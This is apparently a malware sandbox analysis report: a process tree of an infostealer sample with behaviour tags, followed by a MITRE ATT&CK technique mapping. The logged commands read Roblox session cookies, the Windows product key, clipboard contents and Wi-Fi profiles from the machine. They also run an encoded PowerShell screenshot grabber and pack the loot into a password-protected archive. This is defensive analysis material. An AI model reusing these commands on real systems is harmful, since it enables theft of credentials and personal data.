    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5056
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:6008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5928
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2420
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:3316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5484
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2612
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4528
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2548
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4752
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:4080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2088
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lugr0uqj\lugr0uqj.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1608
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES31E4.tmp" "c:\Users\Admin\AppData\Local\Temp\lugr0uqj\CSC56534563DB9F41578018F41F382D297A.TMP"
        6⤵
        
        PID:3396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4160
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1108
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:2096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6000
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:6016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2824
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2792
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:3664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2068
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:988
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3260
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:4968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3664
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI48602\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\PnhMH.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5496
  - - C:\Users\Admin\AppData\Local\Temp\_MEI48602\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI48602\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\PnhMH.zip" *
      4⤵
      Executes dropped EXE
      PID:4728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3816
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3872
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    PID:1528
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:1320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    PID:2076
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4968
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3060

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact